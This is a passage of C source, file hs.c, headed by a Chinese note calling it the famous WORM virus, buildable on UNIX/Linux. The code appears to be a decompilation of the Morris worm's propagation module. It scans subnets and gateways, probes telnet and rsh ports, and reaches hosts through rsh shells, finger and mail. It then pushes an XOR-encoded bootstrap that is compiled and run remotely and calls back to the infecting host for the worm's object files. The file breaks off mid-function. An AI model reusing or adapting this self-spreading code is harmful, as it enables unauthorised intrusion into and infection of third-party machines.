hs.c

著名的WORM病毒。 在UNIX/LINUX下可以编译成功。 注意看MAKEFILE。

/* dover */

#include "worm.h"
#include <stdio.h>
#include <strings.h>
#include <signal.h>
#include <errno.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/wait.h>
#include <sys/file.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <netinet/in.h>

extern struct hst *h_addr2host(), *h_name2host();
extern int  justreturn();
extern int errno;
extern char *malloc();

int alarmed = 0;
int ngateways, *gateways;
struct hst *me, *hosts;

int nifs;
struct ifses ifs[30];				/*  Arbitrary number, fix */

/* Clean hosts not contacted from the host list. */
h_clean()					/* 0x31f0 */
{
    struct hst *newhosts, *host, *next;
    
    newhosts = NULL;
    for (host = hosts; host != NULL; host = next) {
	next = host->next;
	host->flag &= -7;
	if (host == me || host->flag != 0) {
	    host->next = newhosts;
	    newhosts = host;
	} else
	    free(host);
    }
    hosts = newhosts;
}

/* Look for a gateway we can contact. */
hg()				/* 0x3270, check again */
{
    struct hst *host;
    int i;
    
    rt_init();
    
    for (i = 0; i < ngateways; i++) {		/* 24, 92 */
	host = h_addr2host(gateways[i], 1);
	if (try_rsh_and_mail(host))
	    return 1;
    }
    return 0;
}

ha()						/* 0x32d4, unchecked */
{
    struct hst *host;
    int i, j, k;
    int l416[100];
    int l420;
    
    if (ngateways < 1)
	rt_init();
    j = 0;
    for (i = 0; i < ngateways; i++) {		/* 40, 172 */
	host = h_addr2host(gateways[i], 1);
	for (k = 0; k < 6; k++) {		/* 86, 164 */
	    if (host->o48[k] == 0)
		continue;			/* 158 */
	    if (try_telnet_p(host->o48[k]) == 0)
		continue;
	    l416[j] = host->o48[k];
	    j++;
	}
    }
    
    permute(l416, j, sizeof(l416[0]));
    
    for (i = 0; i < j; i++) {			/* 198, 260 */
	if (hi_84(l416[i] & netmaskfor(l416[i])))
	    return 1;
    }
    return 0;
}

hl()						/* 0x33e6 */
{
    int i;
    
    for (i = 0; i < 6; i++) {			/* 18, 106 */
	if (me->o48[i] == 0)
	    break;
	if (hi_84(me->o48[i] & netmaskfor(me->o48[i])) != 0)
	    return 1;
    }
    return 0;
}

hi()						/* 0x3458 */
{
    struct hst *host;
    
    for (host = hosts; host; host = host->next )
	if ((host->flag & 0x08 != 0) && (try_rsh_and_mail(host) != 0))
	    return 1;
    return 0;
}

hi_84(arg1)					/* 0x34ac */
{
    int l4;
    struct hst *host;
    int l12, l16, l20, i, l28, adr_index, l36, l40, l44;
    int netaddrs[2048];
    
    l12 = netmaskfor(arg1);
    l16 = ~l12;
    
    for (i = 0; i < nifs; i++) {		/* 128,206 */
	if (arg1 == (ifs[i].if_l24 & ifs[i].if_l16))
	    return 0;				/* 624 */
    }
    
    adr_index = 0;
    if (l16 == 0x0000ffff) {			/* 330 */
	l44 = 4;
	for (l40 = 1; l40 < 255; l40++)		/* 236,306 */
	    for (l20 = 1; l20 <= 8; l20++)	/* 254,300 */
		netaddrs[adr_index++] = arg1 | (l20 << 16) | l40;
	permute(netaddrs, adr_index, sizeof(netaddrs[0]));
    } else {					/* 432 */
	l44 = 4;
	for (l20 = 1; l20 < 255; l20++)
	    netaddrs[adr_index++] = (arg1 | l20);
	permute(netaddrs, 3*sizeof(netaddrs[0]), sizeof(netaddrs[0]));
	permute(netaddrs, adr_index - 6, 4);
    }
    if (adr_index > 20)
	adr_index = 20;
    for (l36 = 0; l36 < adr_index; l36++) {	/* 454,620 */
	l4 = netaddrs[l36];
	host = h_addr2host(l4, 0);
	if (host == NULL || (host->flag & 0x02) == 0)
	    continue;
	if (host == NULL || (host->flag & 0x04) == 0 ||
	    command_port_p(l4, l44) == 0)
	    continue;
	if (host == NULL)
	    host = h_addr2host(l4, 1);
	if (try_rsh_and_mail(host))
	    return 1;
    }
    return 0;
}

/* Only called in the function above */
static command_port_p(addr, time)		/* x36d2, <hi+634> */
     u_long addr;
     int time;
{
    int s, connection;					/* 28 */
    struct sockaddr_in sin;			/* 16 bytes */
    int (*save_sighand)();
    
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
	return 0;
    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = addr;
    sin.sin_port = IPPORT_CMDSERVER;		/* Oh no, not the command serve
r... */
    
    save_sighand = signal(SIGALRM, justreturn);		/* Wakeup if it
 fails */
    
    /* Set up a timeout to break from connect if it fails */
    if (time < 1)
	time = 1;
    alarm(time);
    connection = connect(s, &sin, sizeof(sin));
    alarm(0);
    
    close(s);
    
    if (connection < 0 && errno == ENETUNREACH)
	error("Network unreachable");
    return connection != -1;
}

static try_telnet_p(addr)			/* x37b2 <hi+858>, checked */
     u_long addr;
{
    int s, connection;					/* 28 */
    struct sockaddr_in sin;			/* 16 bytes */
    int (*save_sighand)();
    
    s = socket(AF_INET, SOCK_STREAM, 0);
    if (s < 0)
	return 0;
    bzero(&sin, sizeof(sin));
    sin.sin_family = AF_INET;
    sin.sin_addr.s_addr = addr;
    sin.sin_port = IPPORT_TELNET;		/* This time try telnet... */
    
    /* Set up a 5 second timeout, break from connect if it fails */
    save_sighand = signal(SIGALRM, justreturn);
    alarm(5);
    connection = connect(s, &sin, sizeof(sin));
    if (connection < 0  &&  errno == ECONNREFUSED) /* Telnet connection refuse
d */
	connection = 0;
    alarm(0);					/* Turn off timeout */
    
    close(s);
    
    return connection != -1;
}

/* Used in hg(), hi(), and hi_84(). */
static try_rsh_and_mail(host)				/* x3884, <hi+1068> */
     struct hst *host;
{
    int fd1, fd2, result;
    
    if (host == me)
	return 0;				/* 1476 */
    if (host->flag & 0x02)
	return 0;
    if (host->flag & 0x04)
	return 0;
    if (host->o48[0] == 0 || host->hostname == NULL)
	getaddrs(host);
    if (host->o48[0] == 0) {
	host->flag |= 0x04;
	return 0;
    }
    other_sleep(1);
    if (host->hostname  &&		/* 1352 */
	fork_rsh(host->hostname, &fd1, &fd2,
	      XS("exec /bin/sh"))) {		/* <env+188> */
	result = talk_to_sh(host, fd1, fd2);
	close(fd1);
	close(fd2);
	/* Prevent child from hanging around in the <exiting> state */
	wait3((union wait *)NULL, WNOHANG, (struct rusage *)NULL);
	if (result != 0)
	    return result;
    }
    
    if (try_finger(host, &fd1, &fd2)) {		/* 1440 */
	result = talk_to_sh(host, fd1, fd2);
	close(fd1);
	close(fd2);
	if (result != 0)
	    return result;
    }
    if (try_mail(host))
	return 1;
    
    host->flag |= 4;
    return 0;
}


/* Check a2in() as it is updated */
/* Used in twice in try_rsh_and_mail(), once in hu1(). */
static talk_to_sh(host, fdrd, fdwr)		/* x3a20, Checked, changed <hi+
>*/
     struct hst *host;
     int fdrd, fdwr;
{
    object *objectptr;
    char send_buf[512];				/* l516 */
    char print_buf[52];				/* l568 */
    int l572, l576, l580, l584, l588,  l592;
    
    objectptr = getobjectbyname(XS("l1.c"));	/* env 200c9 */
    
    if (objectptr == NULL)
	return 0;				/* <hi+2128> */
    if (makemagic(host, &l592, &l580, &l584, &l588) == 0)
	return 0;
    send_text(fdwr, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
    send_text(fdwr, XS("cd /usr/tmp\n"));
    l576 = random() % 0x00FFFFFF;
    
    sprintf(print_buf, XS("x%d.c"), l576);
    /* The 'sed' script just puts the EOF on the transmitted program. */
    sprintf(send_buf, XS("echo gorch49;sed \'/int zz;/q\' > %s;echo gorch50\n"
),
	    print_buf);
    
    send_text(fdwr, send_buf);
    
    wait_for(fdrd, XS("gorch49"), 10);
    
    xorbuf(objectptr->buf, objectptr->size);
    l572 = write(fdwr, objectptr->buf, objectptr->size);
    xorbuf(objectptr->buf, objectptr->size);
    
    if (l572 != objectptr->size) {
	close(l588);
	return 0;				/* to <hi+2128> */
    }
    send_text(fdwr, XS("int zz;\n\n"));
    wait_for(fdrd, XS("gorch50"), 30);
    
#define COMPILE  "cc -o x%d x%d.c;./x%d %s %d %d;rm -f x%d x%d.c;echo DONE\n"
    sprintf(send_buf, XS(COMPILE), l576, l576, l576,
	    inet_ntoa(a2in(l592)), l580, l584, l576, l576);
    
    
    send_text(fdwr, send_buf);
    
    if (wait_for(fdrd, XS("DONE"), 100) == 0) {
	close(l588);
	return 0;				/* <hi+2128> */
    }
    return waithit(host, l592, l580, l584, l588);
}

makemagic(arg8, arg12, arg16, arg20, arg24)	/* checked */
     struct hst *arg8;
     int *arg12, *arg16, *arg20, *arg24;
{
    int s, i, namelen;
    struct sockaddr_in sin0, sin1;		/* 16 bytes */
    
    *arg20 = random() & 0x00ffffff;
    bzero(&sin1, sizeof(sin1));
    sin1.sin_addr.s_addr = me->l12;
    
    for (i= 0; i < 6; i++) {			/* 64, 274 */
	if (arg8->o48[i] == NULL)
	    continue;				/* 266 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	    return 0;				/* 470 */
	bzero(&sin0, sizeof(sin0));
	sin0.sin_family = AF_INET;
	sin0.sin_port = IPPORT_TELNET;
	sin0.sin_addr.s_addr = arg8->o48[i];
	errno = 0;
	if (connect(s, &sin0, sizeof(sin0)) != -1) {
	    namelen = sizeof(sin1);
	    getsockname(s, &sin1, &namelen);
	    close(s);
	    break;
	}
	close(s);
    }
    
    *arg12 = sin1.sin_addr.s_addr;
    
    for (i = 0; i < 1024; i++) {		/* 286,466 */
	s = socket(AF_INET, SOCK_STREAM, 0);
	if (s < 0)
	    return 0;				/* 470 */
	bzero(&sin0, sizeof(sin0));
	sin0.sin_family = AF_INET;
	sin0.sin_port = random() % 0xffff;
	if (bind(s, &sin0, sizeof(sin0)) != -1) {
	    listen(s, 10);
	    *arg16 = sin0.sin_port;
	    *arg24 = s;
	    return 1;
	}
	close(s);
    }
    
    return 0;
}

/* Check for somebody connecting.  If there is a connection and he has the rig
ht
 * key, send out the
 * a complete set of encoded objects to it. */

waithit(host, arg1, arg2, key, arg4)		/* 0x3e86 */
     struct hst *host;
{
    int (*save_sighand)();
    int l8, sin_size, l16, i, l24, l28;
    struct sockaddr_in sin;			/* 44 */
    object *obj;
    char files[20][128];			/* File list, 2608 */
    char *l2612;
    char strbuf[512];
    
    save_sighand = signal(SIGPIPE, justreturn);
    
    sin_size = sizeof(sin);
    alarm(2*60);
    l8 = accept(arg4, &sin, &sin_size);
    alarm(0);
    
    if (l8 < 0)
	goto quit;				/* 1144 */
    if (xread(l8, &l16, sizeof(l16), 10) != 4)
	goto quit;
    l16 = ntohl(l16);
    if (key != l16)
	goto quit;
    for (i = 0; i < nobjects; i++) {	/* 164,432 */
	obj = &objects[i];
	l16 = htonl(obj->size);
	write(l8, &l16, sizeof(l16));
	sprintf(files[i], XS("x%d,%s"),
		(random()&0x00ffffff), obj->name);
	write(l8, files[i], sizeof(files[0]));
	xorbuf(obj->buf, obj->size);
	l24 = write(l8, obj->buf, obj->size);
	xorbuf(obj->buf, obj->size);
	if (l24 != obj->size)
	    goto quit;
    }
    
    /* Get rid of my client's key, and tell him the list has ended. */
    l16 = -1;
    if (write(l8, &l16, sizeof(l16)) != 4)
	goto quit;
    
    /* Don't run up the load average too much... */
    sleep(4);
    
    if (test_connection(l8, l8, 30) == 0)
	goto quit;
    send_text(l8, XS("PATH=/bin:/usr/bin:/usr/ucb\n"));
    send_text(l8, XS("rm -f sh\n"));
    
    sprintf(strbuf, XS("if [ -f sh ]\nthen\nP=x%d\nelse\nP=sh\nfi\n"),
	    random()&0x00ffffff);
    send_text(l8, strbuf);
    
    for (i = 0; i < nobjects; i++) {	/* 636,1040 */
	if ((l2612 = index(files[i], '.')) == NULL ||
	    l2612[1] != 'o')
	    continue;
	sprintf(strbuf, XS("cc -o $P %s\n"), files[i]);
	send_text(l8, strbuf);
	if (test_connection(l8, l8, 30) == 0)
	    goto quit;				/* 1144 */
	sprintf(strbuf, XS("./$P -p $$ "));
	for(l28 = 0; l28 < nobjects; l28++) {	/* 820,892 */
	    strcat(strbuf, files[l28]);
	    strcat(strbuf, XS(" "));
	}